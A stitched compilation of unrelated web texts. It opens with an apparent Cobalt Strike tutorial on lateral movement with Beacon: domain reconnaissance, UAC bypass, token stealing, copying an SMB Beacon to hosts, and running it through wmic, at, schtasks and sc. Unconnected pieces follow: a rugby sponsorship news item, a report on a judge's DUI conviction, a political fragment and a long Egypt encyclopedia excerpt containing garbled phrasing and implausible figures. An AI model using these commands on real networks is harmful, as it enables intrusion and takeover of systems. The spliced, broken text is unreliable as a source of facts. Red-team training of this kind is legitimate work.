High latency communication is common with advanced threat malware. It’s not common in penetration testing tools. I designed Cobalt Strike’s Beacon to provide penetration testers with a robust payload for high-latency communication. Today, you can conduct much of your engagement through Beacon.
In this post, I’ll show you how to abuse trust relationships to move laterally with Beacon. You will learn how to find targets with built-in Windows commands, escalate privileges, impersonate access tokens, and use the rights a token holds to run code on a remote system. I’ll show you how to carry out each of these steps from a Beacon configured with a high sleep time.
Reconnaissance
Beacon’s shell command will run a command on a host and post its output back to you. You can do a lot with this command alone. For example, to find out which domain you’re on:
shell net view /DOMAIN
To see Windows hosts on the same domain with some sort of sharing enabled, use:
shell net view /DOMAIN:domain
At this point, we have a few targets to work with. The next step is to check if the current user is a local administrator on any of these systems. To check your rights, try to access an admin-only share on a target host:
shell dir \\host\C$
If you get a directory listing, then your user is a local admin. You’re ready to get code execution.
Privilege Escalation
If your current user isn’t a local admin on a target system, then you will need to escalate your privileges to go further. To start this process, I like to use whoami /groups to find out which groups my current user is in. You can do this with the shell command too.
shell whoami /groups
If I’m living in a standard user context (a medium integrity process), but my user is a local admin on the current host—there’s an opportunity to escalate. Beacon includes its own version of the bypassuac attack that’s built for this situation. Bypass UAC elevates you from a medium integrity context to a high integrity context. The command to do this in Beacon is bypassuac.
bypassuac beacon listener
At this point, you will get a new Beacon. If all went well, this Beacon will show a * next to the username. This * is Beacon’s way to tell you that it’s running in a high integrity context. Remote Access Tools built for an XP world tend to omit this information. On a modern target, you have to know whether you’re in a high or medium integrity process.
Token Stealing
Now that we’re in a high integrity process, we can look for tokens to steal. An access token is a data structure that tracks the user’s rights and, if applicable, other information needed for single sign-on to work. There are different types of tokens, but I’d like to call your attention to impersonation and delegation tokens. An impersonation token allows a process or thread to carry out actions as the identified user on the current system. A delegation token allows a process or thread to carry out actions as the identified user on remote systems on the same domain.
We will use Beacon to steal a token from a process. Run the tasklist program to list processes on the system:
shell tasklist /v
Each process will have a user associated with it. If you see a process run by another domain user, use Beacon’s steal_token command to impersonate that token.
steal_token pid
You may now execute commands with the security context of the stolen token. Try to see if the impersonated user is a local admin on other systems within your reach. If the user is an admin elsewhere, we’re in luck and we can try to get code execution.
Generate Artifact
How do we get code execution on a remote host? Copy a file to the remote host and schedule it to run. These steps raise a question though. What do we want to copy and run? You could export an executable for Beacon that talks to your command and control server. I will caution you against this though.
As an attacker, you do not want every compromised system to call home to your command and control infrastructure on the internet. Some hosts can’t talk out to the internet. Other hosts (e.g., domain controllers) may get more attention from a network security monitoring team.
Not all Beacons have to connect to the internet. You may link Beacons together in a way that allows each Beacon to get its tasks and send output through its parent Beacon. Cobalt Strike’s Beacon uses named pipes to do this.
If you want to stay quiet, I recommend that you export a fully staged SMB Beacon and copy it to your target’s host and schedule it to run. A staged artifact is beneficial as it does not need to connect to us over the internet to download the rest of itself. Go to Attacks -> Packages -> Windows Executable (S) to export a fully staged Beacon. Choose the SMB Beacon as your Beacon type and select the type of output you would like. You may export a (staged) Beacon as a PowerShell script, DLL, executable, or Windows service executable. Press Launch and save the artifact.
File Copy
To copy a file, change Beacon’s current working directory to a folder that you can write to. If you’re a local admin in a high integrity context, try c:\windows\temp.
Use Beacon’s cd command to change the current directory:
cd c:\windows\temp
Use Beacon’s upload command to select a file from your local system and upload it to the current directory:
upload
To copy the uploaded file to the remote system, use the shell command. This command will copy foobar.exe to c:\windows\temp on the remote host.
shell copy foobar.exe \\host\C$\windows\temp
Beacon queues its commands. If you have a high sleep time, don’t worry about typing one command at a time and waiting for output. Issue every command that you can think of. When Beacon checks in next, it will grab its tasking, execute the actions you gave it, and show the output to you.
Remote Code Execution
We need to to run foobar.exe on our target. There are many ways to do this. Here are four methods that I recommend that you learn about.
#1: WMIC
You may use wmic to run a process on a remote host. Here’s the syntax to do it:
shell wmic /node:host process call create “c:\windows\temp\foobar.exe”
#2: AT
You may also schedule a program to run with at. The at command is deprecated by Windows 8. You will not be able to use this option from or against a Windows 8 target. That said, the syntax for this option is easy to remember.
First, find out what time it is on the remote system:
shell net time \\host
Next, use at to schedule foobar.exe to run sometime in the near future.
shell at \\host HH:MM c:\windows\temp\foobar.exe
#3: SCHTASKS
Another option to run code on a target system is schtasks. The syntax for schtasks is a little more complicated, but why not:
shell schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System shell schtasks /run /tn foobar /S host
You should clean up your task after it executes. Here’s the syntax to do that:
shell schtasks /F /delete /tn foobar /S host
#4: SC
A fourth option to execute a program on a remote host is to create a service and start it. You may use the sc command to do this:
shell sc \\host create foobar binpath= “c:\windows\temp\foobar.exe” shell sc \\host start foobar
The sc command requires an executable that responds to Service Control Manager commands. If you do not provide such an executable, your program will run, and then immediately exit. Cobalt Strike’s dialog to generate a staged executable gives you the option to generate a Service Executable. Make sure you pay attention to this detail.
Here’s the syntax to delete your service after it runs:
shell sc \\host delete foobar
Establish Control
Once an SMB Beacon is run on a remote system, you may gain control of it with Beacon’s link command. From Beacon, use:
link host
This command will instruct the current Beacon to link to the remote Beacon over the SMB protocol. You will see a new Beacon show up in the Beacon console with the parent Beacon listed as its external address. From here, you may repeat this entire process. Look for tokens, impersonate them, see where you’re an administrator, and try to take those systems. That’s it.
Part 7 of Cobalt Strike’s Tradecraft course covers lateral movement as well.April 10 (Reuters) - World Rugby have penned a 10-year deal with Chinese e-commerce giant Alibaba Group Holding Ltd to spark playing numbers and bring major events to the world’s most populous country.
The deal between the world governing body and Alisports will see Alibaba’s new sports division broadcast exclusive rugby content, create online rugby stores and invest in World Rugby’s grassroots programme.
No financial terms were revealed for the deal unveiled on Sunday at the Hong Kong Rugby Sevens tournament but was a further sign of the increased interest in the sport ahead of its return to the Olympics later this year in Rio de Janeiro.
“With global participation having doubled to 7.7 million since rugby was re-admitted into the Olympic Games programme in 2009, this deal will ensure an unprecedented platform for rugby to reach, engage and inspire new participants across China,” World Rugby Chairman Bernard Lapasset said in a statement.
World Rugby, who dubbed the deal “ground-breaking”, added they would work with Alisports to bring “major rugby events” to China within the next 10 years.
It marks a first rugby deal for Alisports, which was established last year and has already inked deals with European soccer giants Bayern Munich and Real Madrid, NBA basketball talisman Kobe Bryant and American football body, the NFL.
“We encourage young people to join rugby to cultivate the sprit of being strong-willed, aggressive, acquisitive and unified,” Alisports CEO Zhang Dazhong said.
“We will use our platform to showcase this excellent sport to millions of people.” (Writing by Patrick Johnston in Singapore; editing by Amlan Chakraborty)Broward Circuit Judge Cynthia Imperato will be back at work after the holidays, and it will be business as usual unless a higher authority intervenes, the county's chief administrative judge said Monday.
Imperato, 57, was convicted Friday of two misdemeanors — driving under the influence of alcohol and reckless driving — and sentenced to 20 days of house arrest followed by a year of probation.
She has appealed her conviction and will not have to serve her sentence until an appeals court rules on whether she received a fair trial.
"Judge Imperato is on vacation for the holidays and she is scheduled to return in January," said Broward Chief Administrative Judge Peter Weinstein. "She will resume her activities as a Circuit Court judge. A decision on what happens next, professionally, is within the purview of the Judicial Qualifications Commission and the Florida Supreme Court."
Imperato was not in court Monday and could not be reached to comment for this article.
Because Imperato was elected to her job, Weinstein's office is powerless to suspend her, and she will continue to collect her nearly $144,000 a year salary.
The Judicial Qualifications Commission initiates investigations into misconduct by judges in secrecy. "We can't confirm or deny any investigation because it is confidential," said Alex Williams, assistant general counsel for the JQC. If the disciplinary body were to decide charges are warranted, the accusations would be made public and the judge would have an opportunity to defend herself at a hearing.
Imperato, who was pulled over by Boca Raton police after a witness called to report her erratic driving last November, was the first of three Broward judges to be accused of DUI in six months. Two were convicted, while a third pleaded to a lesser charge.
In May, County Judge Gisele Pollack was arrested following a car accident in Plantation. She later pleaded guilty and was sentenced to six months probation. Earlier this year, the JQC suspended her from office following the arrest and her admission to showing up for work drunk on two separate occasions. Pollack is now waiting to learn whether the panel will recommend her permanent removal from the bench.
The state Supreme Court makes the final decision.
And in late May, Broward Circuit Judge Lynn Rosenthal, who had not been drinking, was accused of DUI after repeatedly driving into the entrance gate of the judges' parking lot behind the courthouse. While she had Xanax pills in her vehicle, there was no evidence she had taken any. She blamed her driving on her use of the sleeping aid Ambien. She pleaded no contest to reckless driving and served a three-month probation.
The JQC has not taken action in Rosenthal's case, which was resolved in July.
Weinstein said Imperato can expect to return to the foreclosure division for the first week of January. She is scheduled to be transferred to handle general civil cases Jan. 12.
rolmeda@sunsentinel.com, 954-356-4457, Twitter @SSCourts and @rolmedaHHS Secretary Tom Price to Congress: "Go Home And Talk To Your Constituents" About Obamacare
Health and Human Services Secretary Tom Price rejects the idea put forward in a Washington Post op-ed this weekend that 'Obamacare' is a myth and when we are dealing with health care we are dealing with a U.S. national health insurance system, in an interview with 'Meet The Press |
and Marsa Alam are popular sites.
Energy
An offshore platform in the Darfeel Gas Field.
Egypt produced 691,000 bbl/d of oil and 2,141.05 Tcf of natural gas in 2013, making the country the largest non-OPEC producer of oil and the second-largest dry natural gas producer in Africa. In 2013, Egypt was the largest consumer of oil and natural gas in Africa, as more than 20% of total oil consumption and more than 40% of total dry natural gas consumption in Africa. Also, Egypt possesses the largest oil refinery capacity in Africa 726,000 bbl/d (in 2012).[194]
Egypt is currently planning to build its first nuclear power plant in El Dabaa, in the northern part of the country, with $25 billion in Russian financing.[207]
Transport
Transport in Egypt is centred around Cairo and largely follows the pattern of settlement along the Nile. The main line of the nation's 40,800-kilometre (25,400 mi) railway network runs from Alexandria to Aswan and is operated by Egyptian National Railways. The vehicle road network has expanded rapidly to over 21,000 miles, consisting of 28 line, 796 stations, 1800 train covering the Nile Valley and Nile Delta, the Mediterranean and Red Sea coasts, the Sinai, and the Western oases.
The Cairo Metro (line 2)
The Cairo Metro in Egypt is the first of only two full-fledged metro systems in Africa and the Arab World. It is considered one of the most important recent projects in Egypt which cost around 12 billion Egyptian pounds. The system consists of three operational lines with a fourth line expected in the future.
EgyptAir, which is now the country's flag carrier and largest airline, was founded in 1932 by Egyptian industrialist Talaat Harb, today owned by the Egyptian government. The airline is based at Cairo International Airport, its main hub, operating scheduled passenger and freight services to more than 75 destinations in the Middle East, Europe, Africa, Asia, and the Americas. The Current EgyptAir fleet includes 80 aeroplanes.
Suez Canal
The Suez Canal is an artificial sea-level waterway in Egypt considered the most important centre of the maritime transport in the Middle East, connecting the Mediterranean Sea and the Red Sea. Opened in November 1869 after 10 years of construction work, it allows ship transport between Europe and Asia without navigation around Africa. The northern terminus is Port Said and the southern terminus is Port Tawfiq at the city of Suez. Ismailia lies on its west bank, 3 kilometres (1.9 miles) from the half-way point.
The canal is 193.30 kilometres (120.11 miles) long, 24 metres (79 feet) deep and 205 metres (673 feet) wide as of 2010. It consists of the northern access channel of 22 kilometres (14 miles) (14 mi), the canal itself of 162.25 kilometres (100.82 miles) and the southern access channel of 9 kilometres (5.6 miles). The canal is a single lane with passing places in the Ballah By-Pass and the Great Bitter Lake. It contains no locks; seawater flows freely through the canal. In general, the canal north of the Bitter Lakes flows north in winter and south in summer. The current south of the lakes changes with the tide at Suez.
On 26 August 2014 a proposal was made for opening a New Suez Canal. Work on the New Suez Canal was completed in July 2015.[208][209] The channel was officially inaugurated with a ceremony attended by foreign leaders and featuring military flyovers on 6 August 2015, in accordance with the budgets laid out for the project.[210][211]
Water supply and sanitation
The piped water supply in Egypt increased between 1990 and 2010 from 89% to 100% in urban areas and from 39% to 93% in rural areas despite rapid population growth. Over that period, Egypt achieved the elimination of open defecation in rural areas and invested in infrastructure. Access to an improved water source in Egypt is now practically universal with a rate of 99%. About one half of the population is connected to sanitary sewers.[212]
Partly because of low sanitation coverage about 17,000 children die each year because of diarrhoea.[213] Another challenge is low cost recovery due to water tariffs that are among the lowest in the world. This in turn requires government subsidies even for operating costs, a situation that has been aggravated by salary increases without tariff increases after the Arab Spring. Poor operation of facilities, such as water and wastewater treatment plants, as well as limited government accountability and transparency, are also issues.
Green irrigated land along the Nile amidst the desert and in the delta
Irrigated land and crops
Due to the absence of appreciable rainfall, Egypt's agriculture depends entirely on irrigation. The main source of irrigation water is the river Nile of which the flow is controlled by the high dam at Aswan. It releases, on average, 55 cubic kilometres (45,000,000 acre·ft) water per year, of which some 46 cubic kilometres (37,000,000 acre·ft) are diverted into the irrigation canals.[214]
In the Nile valley and delta, almost 33,600 square kilometres (13,000 sq mi) of land benefit from these irrigation waters producing on average 1.8 crops per year.[214]
Demographics
2). Egypt's population density (people per km).
Historical populations in thousands Year Pop. ±% p.a. 1882 6,712 — 1897 9,669 +2.46% 1907 11,190 +1.47% 1917 12,718 +1.29% 1927 14,178 +1.09% 1937 15,921 +1.17% 1947 18,967 +1.77% 1960 26,085 +2.48% 1966 30,076 +2.40% 1976 36,626 +1.99% 1986 48,254 +2.80% 1996 59,312 +2.08% 2006 72,798 +2.07% 2013 84,314 +2.12% 2017 94,798 +2.97% Source: Population in Egypt[215][5]
Egypt is the most populated country in the Middle East, and the third most populous on the African continent, with about 95 million inhabitants as of 2017.[216] Its population grew rapidly from 1970 to 2010 due to medical advances and increases in agricultural productivity [217] enabled by the Green Revolution.[218] Egypt's population was estimated at 3 million when Napoleon invaded the country in 1798.[219]
Egypt's people are highly urbanised, being concentrated along the Nile (notably Cairo and Alexandria), in the Delta and near the Suez Canal. Egyptians are divided demographically into those who live in the major urban centres and the fellahin, or farmers, that reside in rural villages. The total inhabited area constitutes only 77,041 km², putting the physiological density at over 1,200 people per km2, similar to Bangladesh.
While emigration was restricted under Nasser, thousands of Egyptian professionals were dispatched abroad in the context of the Arab Cold War.[220] Egyptian emigration was liberalised in 1971, under President Sadat, reaching record numbers after the 1973 oil crisis.[221] An estimated 2.7 million Egyptians live abroad. Approximately 70% of Egyptian migrants live in Arab countries (923,600 in Saudi Arabia, 332,600 in Libya, 226,850 in Jordan, 190,550 in Kuwait with the rest elsewhere in the region) and the remaining 30% reside mostly in Europe and North America (318,000 in the United States, 110,000 in Canada and 90,000 in Italy).[202] The process of emigrating to non-Arab states has been ongoing since the 1950s.[222]
Ethnic groups
Ethnic Egyptians are by far the largest ethnic group in the country, constituting 91% of the total population.[53] Ethnic minorities include the Abazas, Turks, Greeks, Bedouin Arab tribes living in the eastern deserts and the Sinai Peninsula, the Berber-speaking Siwis (Amazigh) of the Siwa Oasis, and the Nubian communities clustered along the Nile. There are also tribal Beja communities concentrated in the south-eastern-most corner of the country, and a number of Dom clans mostly in the Nile Delta and Faiyum who are progressively becoming assimilated as urbanisation increases.
Some 5 million immigrants live in Egypt, mostly Sudanese, "some of whom have lived in Egypt for generations."[223] Smaller numbers of immigrants come from Iraq, Ethiopia, Somalia, South Sudan, and Eritrea.[223]
The Office of the United Nations High Commissioner for Refugees estimated that the total number of "people of concern" (refugees, asylum seekers, and stateless people) was about 250,000. In 2015, the number of registered Syrian refugees in Egypt was 117,000, a decrease from the previous year.[223] Egyptian government claims that a half-million Syrian refugees live in Egypt are thought to be exaggerated.[223] There are 28,000 registered Sudanese refugees in Egypt.[223]
The once-vibrant and ancient Greek and Jewish communities in Egypt have almost disappeared, with only a small number remaining in the country, but many Egyptian Jews visit on religious or other occasions and tourism. Several important Jewish archaeological and historical sites are found in Cairo, Alexandria and other cities.
Languages
The official language of the Republic is Arabic.[224] The spoken languages are: Egyptian Arabic (68%), Sa'idi Arabic (29%), Eastern Egyptian Bedawi Arabic (1.6%), Sudanese Arabic (0.6%), Domari (0.3%), Nobiin (0.3%), Beja (0.1%), Siwi and others. Additionally, Greek, Armenian and Italian, and more recently, African languages like Amharic and Tigrigna are the main languages of immigrants.
The main foreign languages taught in schools, by order of popularity, are English, French, German and Italian.
Historically Egyptian was spoken, of which the latest stage is Coptic Egyptian. Spoken Coptic was mostly extinct by the 17th century but may have survived in isolated pockets in Upper Egypt as late as the 19th century. It remains in use as the liturgical language of the Coptic Orthodox Church of Alexandria.[225][226] It forms a separate branch among the family of Afroasiatic languages.
Religion
Egypt is a predominantly Sunni Muslim country with Islam as its state religion. The percentage of adherents of various religions is a controversial topic in Egypt. An estimated 85–90% are identified as Muslim, 10–15% as Coptic Christians, and 1% as other Christian denominations, although without a census the numbers cannot be known. Other estimates put the Christian population as high as 15–20% [nb 1] Non-denominational Muslims form roughly 12% of the population.[227][228]
Egypt was a Christian country before the 7th century, and after Islam arrived, the country was gradually Islamised into a majority-Muslim country.[229][230] It is not known when Muslims reached a majority variously estimated from c. 1000 CE to as late as the 14th century. Egypt emerged as a centre of politics and culture in the Muslim world. Under Anwar Sadat, Islam became the official state religion and Sharia the main source of law.[231] It is estimated that 15 million Egyptians follow Native Sufi orders,[232][233][234] with the Sufi leadership asserting that the numbers are much greater as many Egyptian Sufis are not officially registered with a Sufi order.[233] At least 305 people were killed during a November 2017 attack on a Sufi mosque in Sinai.[235]
There is also a Shi'a minority. The Jerusalem Center for Public Affairs estimates the Shia population at 1 to 2.2 million[236] and could measure as much as 3 million.[237] The Ahmadiyya population is estimated at less than 50,000,[238] whereas the Salafi (ultra-conservative) population is estimated at five to six million.[239] Cairo is famous for its numerous mosque minarets and has been dubbed "The City of 1,000 Minarets".[240]
Of the Christian population in Egypt over 90% belong to the native Coptic Orthodox Church of Alexandria, an Oriental Orthodox Christian Church.[241] Other native Egyptian Christians are adherents of the Coptic Catholic Church, the Evangelical Church of Egypt and various other Protestant denominations. Non-native Christian communities are largely found in the urban regions of Cairo and Alexandria, such as the Syro-Lebanese, who belong to Greek Catholic, Greek Orthodox, and Maronite Catholic denominations.[242]
Ethnic Greeks also made up a large Greek Orthodox population in the past. Likewise, Armenians made up the then larger Armenian Orthodox and Catholic communities. Egypt also used to have a large Roman Catholic community, largely made up of Italians and Maltese. These non-native communities were much larger in Egypt before the Nasser regime and the nationalisation that took place.
Egypt hosts the Coptic Orthodox Church of Alexandria. It was founded back in the first century, considered to be the largest Church in the Middle East and North Africa.
Egypt is also the home of Al-Azhar University (founded in 969 CE, began teaching in 975 CE), which is today the world's "most influential voice of establishment Sunni Islam" and is, by some measures, the second-oldest continuously operating university in world.[243]
Egypt recognises only three religions: Islam, Christianity, and Judaism. Other faiths and minority Muslim sects practised by Egyptians, such as the small Bahá'í and Ahmadi community, are not recognised by the state and face persecution by the government, which labels these groups a threat to Egypt's national security.[244][245] Individuals, particularly Baha'is and atheists, wishing to include their religion (or lack thereof) on their mandatory state issued identification cards are denied this ability (see Egyptian identification card controversy), and are put in the position of either not obtaining required identification or lying about their faith. A 2008 court ruling allowed members of unrecognised faiths to obtain identification and leave the religion field blank.[145][146]
Largest cities
Culture
Egypt is a recognised cultural trend-setter of the Arabic-speaking world. Contemporary Arabic and Middle-Eastern culture is heavily influenced by Egyptian literature, music, film and television. Egypt gained a regional leadership role during the 1950s and 1960s, giving a further enduring boost to the standing of Egyptian culture in the Arabic-speaking world.[246]
Egyptian identity evolved in the span of a long period of occupation to accommodate Islam, Christianity and Judaism; and a new language, Arabic, and its spoken descendant, Egyptian Arabic which is also based on many Ancient Egyptian words.[247]
The work of early 19th-century scholar Rifa'a al-Tahtawi renewed interest in Egyptian antiquity and exposed Egyptian society to Enlightenment principles. Tahtawi co-founded with education reformer Ali Mubarak a native Egyptology school that looked for inspiration to medieval Egyptian scholars, such as Suyuti and Maqrizi, who themselves studied the history, language and antiquities of Egypt.[248]
Egypt's renaissance peaked in the late 19th and early 20th centuries through the work of people like Muhammad Abduh, Ahmed Lutfi el-Sayed, Muhammad Loutfi Goumah, Tawfiq el-Hakim, Louis Awad, Qasim Amin, Salama Moussa, Taha Hussein and Mahmoud Mokhtar. They forged a liberal path for Egypt expressed as a commitment to personal freedom, secularism and faith in science to bring progress.[249]
Arts
The Egyptians were one of the first major civilisations to codify design elements in art and architecture. Egyptian blue, also known as calcium copper silicate is a pigment used by Egyptians for thousands of years. It is considered to be the first synthetic pigment. The wall paintings done in the service of the Pharaohs followed a rigid code of visual rules and meanings. Egyptian civilisation is renowned for its colossal pyramids, temples and monumental tombs.
Well-known examples are the Pyramid of Djoser designed by ancient architect and engineer Imhotep, the Sphinx, and the temple of Abu Simbel. Modern and contemporary Egyptian art can be as diverse as any works in the world art scene, from the vernacular architecture of Hassan Fathy and Ramses Wissa Wassef, to Mahmoud Mokhtar's sculptures, to the distinctive Coptic iconography of Isaac Fanous. The Cairo Opera House serves as the main performing arts venue in the Egyptian capital.
Literature
Egyptian literature traces its beginnings to ancient Egypt and is some of the earliest known literature. Indeed, the Egyptians were the first culture to develop literature as we know it today, that is, the book.[250] It is an important cultural element in the life of Egypt. Egyptian novelists and poets were among the first to experiment with modern styles of Arabic literature, and the forms they developed have been widely imitated throughout the Middle East.[251] The first modern Egyptian novel Zaynab by Muhammad Husayn Haykal was published in 1913 in the Egyptian vernacular.[252] Egyptian novelist Naguib Mahfouz was the first Arabic-language writer to win the Nobel Prize in Literature. Egyptian women writers include Nawal El Saadawi, well known for her feminist activism, and Alifa Rifaat who also writes about women and tradition.
Vernacular poetry is perhaps the most popular literary genre among Egyptians, represented by the works of Ahmed Fouad Negm (Fagumi), Salah Jaheen and Abdel Rahman el-Abnudi.[citation needed]
Media
Egyptian media are highly influential throughout the Arab World, attributed to large audiences and increasing freedom from government control.[253][254] Freedom of the media is guaranteed in the constitution; however, many laws still restrict this right.[253][255]
Cinema
Egyptian cinema became a regional force with the coming of sound. In 1936, Studio Misr, financed by industrialist Talaat Harb, emerged as the leading Egyptian studio, a role the company retained for three decades.[256] For over 100 years, more than 4000 films have been produced in Egypt, three quarters of the total Arab production.[citation needed] Egypt is considered the leading country in the field of cinema in the Middle East. Actors from all over the Arab World seek to appear in the Egyptian cinema for the sake of fame. The Cairo International Film Festival has been rated as one of 11 festivals with a top class rating worldwide by the International Federation of Film Producers' Associations.[257]
Music
Egyptian music is a rich mixture of indigenous, Mediterranean, African and Western elements. It has been an integral part of Egyptian culture since antiquity. The ancient Egyptians credited one of their gods Hathor with the invention of music, which Osiris in turn used as part of his effort to civilise the world. Egyptians used music instruments since then.[258]
Contemporary Egyptian music traces its beginnings to the creative work of people such as Abdu al-Hamuli, Almaz and Mahmoud Osman, who influenced the later work of Sayed Darwish, Umm Kulthum, Mohammed Abdel Wahab and Abdel Halim Hafez whose age is considered the golden age of music in Egypt and the whole Middle East and North-Africa. Prominent contemporary Egyptian pop singers include Amr Diab and Mohamed Mounir.
Dances
Tanoura dancer performing in Wekalet El Ghoury, Cairo.
Today, Egypt is often considered the home of belly dance. Egyptian belly dance has two main styles – raqs baladi and raqs sharqi. There are also numerous folkloric and character dances that may be part of an Egyptian-style belly dancer's repertoire, as well as the modern shaabi street dance which shares some elements with raqs baladi.
Museums
Egypt has one of the oldest civilisations in the world. It has been in contact with many other civilisations and nations and has been through so many eras, starting from prehistoric age to the modern age, passing through so many ages such as; Pharonic, Roman, Greek, Islamic and many other ages. Because of this wide variation of ages, the continuous contact with other nations and the big number of conflicts Egypt had been through, at least 60 museums may be found in Egypt, mainly covering a wide area of these ages and conflicts.
Tutankhamun's burial mask is one of the major attractions of the Egyptian Museum
The three main museums in Egypt are The Egyptian Museum which has more than 120,000 items, the Egyptian National Military Museum and the 6th of October Panorama.
The Grand Egyptian Museum (GEM), also known as the Giza Museum, is an under construction museum that will house the largest collection of ancient Egyptian artifacts in the world, it has been described as the world's largest archaeological museum.[259] The museum was scheduled to open in 2015 and will be sited on 50 hectares (120 acres) of land approximately two kilometres (1.2 miles) from the Giza Necropolis and is part of a new master plan for the plateau. The Minister of Antiquities Mamdouh al-Damaty announced in May 2015 that the museum will be partially opened in May 2018.[260]
Festivals
Egypt celebrates many festivals and religious carnivals, also known as mulid. They are usually associated with a particular Coptic or Sufi saint, but are often celebrated by Egyptians irrespective of creed or religion. Ramadan has a special flavour in Egypt, celebrated with sounds, lights (local lanterns known as fawanees) and much flare that many Muslim tourists from the region flock to Egypt to witness during Ramadan.
The ancient spring festival of Sham en Nisim (Coptic: Ϭⲱⲙ‘ⲛⲛⲓⲥⲓⲙ shom en nisim) has been celebrated by Egyptians for thousands of years, typically between the Egyptian months of Paremoude (April) and Pashons (May), following Easter Sunday.
Cuisine
Egyptian cuisine is notably conducive to vegetarian diets, as it relies heavily on legume and vegetable dishes. Although food in Alexandria and the coast of Egypt tends to use a great deal of fish and other seafood, for the most part Egyptian cuisine is based on foods that grow out of the ground. Meat has been very expensive for most Egyptians throughout history, so a great number of vegetarian dishes have been developed.
Some consider kushari (a mixture of rice, lentils, and macaroni) to be the national dish. Fried onions can be also added to kushari. In addition, ful medames (mashed fava beans) is one of the most popular dishes. Fava bean is also used in making falafel (also known as "ta‘miya"), which may have originated in Egypt and spread to other parts of the Middle East. Garlic fried with coriander is added to molokhiya, a popular green soup made from finely chopped jute leaves, sometimes with chicken or rabbit.
Sports
Football is the most popular national sport of Egypt. The Cairo Derby is one of the fiercest derbies in Africa, and the BBC picked it as one of the 7 toughest derbies in the world.[261] Al Ahly is the most successful club of the 20th century in the African continent according to CAF, closely followed by their rivals Zamalek SC. They're known as the "African Club of the Century". With twenty titles, Al Ahly is currently the world's most successful club in terms of international trophies, surpassing Italy's A.C. Milan and Argentina's Boca Juniors, both having eighteen.[262]
The Egyptian national football team, known as the Pharaohs, won the African Cup of Nations seven times, including three times in a row in 2006, 2008, and 2010. Considered the most successful African national team and one which has reached the top 10 of the FIFA world rankings, Egypt has qualified for the FIFA World Cup three times. Two goals from star player Mohamed Salah in their last qualifying game took Egypt through to the 2018 FIFA World Cup.[263] The Egyptian Youth National team Young Pharaohs won the Bronze Medal of the 2001 FIFA youth world cup in Argentina. Egypt was 4th place in the football tournament in the 1928 and the 1964 Olympics.
Squash and tennis are other popular sports in Egypt. The Egyptian squash team has been competitive in international championships since the 1930s. Amr Shabana and Ramy Ashour are Egypt's best players and both were ranked tne world's number one squash player. Egypt has won the Squash World Championships four times, with the last title being in 2017.
In 1999, Egypt hosted the IHF World Men's Handball Championship, and will host it again in 2021. In 2001, the national handball team achieved its best result in the tournament by reaching fourth place. Egypt has won in the African Men's Handball Championship five times, being the best team in Africa. In addition to that, it also championed the Mediterranean Games in 2013, the Beach Handball World Championships in 2004 and the Summer Youth Olympics in 2010. Among all African nations, the Egypt national basketball team holds the record for best performance at the Basketball World Cup and at the Summer Olympics.[264][265] Further, the team has won a record number of 16 medals at the African Championship.
Egypt has taken part in the Summer Olympic Games since 1912 and hosted and Alexandria h the first Mediterranean Games in 1951. Egypt has hosted several international competitions. The last one being the 2009 FIFA U-20 World Cup which took place between 24 September – 16 October 2009.
On Friday 19 September 2014, Guinness World Records announced that Egyptian scuba diver Ahmed Gabr is the new title holder for deepest salt water scuba dive, at 332.35 metres (1,090.4 feet).[266] Ahmed set a new world record Friday when he reached a depth of more than 1,000 feet (300 metres). The 14-hour feat took Gabr 1,066 feet (325 metres) down into the abyss near the Egyptian town of Dahab in the Red Sea, where he works as a diving instructor.[267]
On 1 September 2015 Raneem El Weleily was ranked as the world number one woman squash player.[268] Other female Egyptian squash players include Nour El Tayeb, Omneya Abdel Kawy, Nouran Gohar and Nour El Sherbini.
Telecommunication
The wired and wireless telecommunication industry in Egypt started in 1854 with the launch of the country's first telegram line connecting Cairo and Alexandria. The first telephone line between the two cities was installed in 1881.[269] In September 1999 a national project for a technological renaissance was announced reflecting the commitment of the Egyptian government to developing the country's IT-sector.
Post
Egypt Post is the company responsible for postal service in Egypt. Established in 1865, it is one of the oldest governmental institutions in the country. Egypt is one of 21 countries that contributed to the establishment of the Universal Postal Union, initially named the General Postal Union, as signatory of the Treaty of Bern.
Social Media
In September 2018, Egypt ratified the law granting authorities the right to monitor social media users in the country as part of tightening internet controls.[270][271]
Education
Egyptian literacy rate among the population aged 15 years and older by UNESCO Institute of Statistics
The illiteracy rate has decreased since 1996 from 39.4 to 25.9 percent in 2013. The adult literacy rate as of July 2014 was estimated at 73.9%.[272] The illiteracy rate is highest among those over 60 years of age being estimated at around 64.9%, while illiteracy among youth between 15 and 24 years of age was listed at 8.6 percent.[273]
A European-style education system was first introduced in Egypt by the Ottomans in the early 19th century to nurture a class of loyal bureaucrats and army officers.[274] Under British occupation investment in education was curbed drastically, and secular public schools, which had previously been free, began to charge fees.[274]
In the 1950s, President Nasser phased in free education for all Egyptians.[274] The Egyptian curriculum influenced other Arab education systems, which often employed Egyptian-trained teachers.[274] Demand soon outstripped the level of available state resources, causing the quality of public education to deteriorate.[274] Today this trend has culminated in poor teacher–student ratios (often around one to fifty) and persistent gender inequality.[274]
Basic education, which includes six years of primary and three years of preparatory school, is a right for Egyptian children from the age of six.[275] After grade 9, students are tracked into one of two strands of secondary education: general or technical schools. General secondary education prepares students for further education, and graduates of this track normally join higher education institutes based on the results of the Thanaweya Amma, the leaving exam.[275]
Technical secondary education has two strands, one lasting three years and a more advanced education lasting five. Graduates of these schools may have access to higher education based on their results on the final exam, but this is generally uncommon.[275]
Cairo University is ranked as 401–500 according to the Academic Ranking of World Universities (Shanghai Ranking)[276] and 551–600 according to QS World University Rankings. American University in Cairo is ranked as 360 according to QS World University Rankings and Al-Azhar University, Alexandria University and Ain Shams University fall in the 701+ range.[277] Egypt is currently opening new research institutes for the aim of modernising research in the nation, the most recent example of which is Zewail City of Science and Technology.
Health
Egyptian life expectancy at birth was 73.20 years in 2011, or 71.30 years for males and 75.20 years for females. Egypt spends 3.7 percent of its gross domestic product on health including treatment costs 22 percent incurred by citizens and the rest by the state.[278] In 2010, spending on healthcare accounted for 4.66% of the country's GDP. In 2009, there were 16.04 physicians and 33.80 nurses per 10,000 inhabitants.[279]
As a result of modernisation efforts over the years, Egypt's healthcare system has made great strides forward. Access to healthcare in both urban and rural areas greatly improved and immunisation programs are now able to cover 98% of the population. Life expectancy increased from 44.8 years during the 1960s to 72.12 years in 2009. There was a noticeable decline of the infant mortality rate (during the 1970s to the 1980s the infant mortality rate was 101-132/1000 live births, in 2000 the rate was 50-60/1000, and in 2008 it was 28-30/1000).[280]
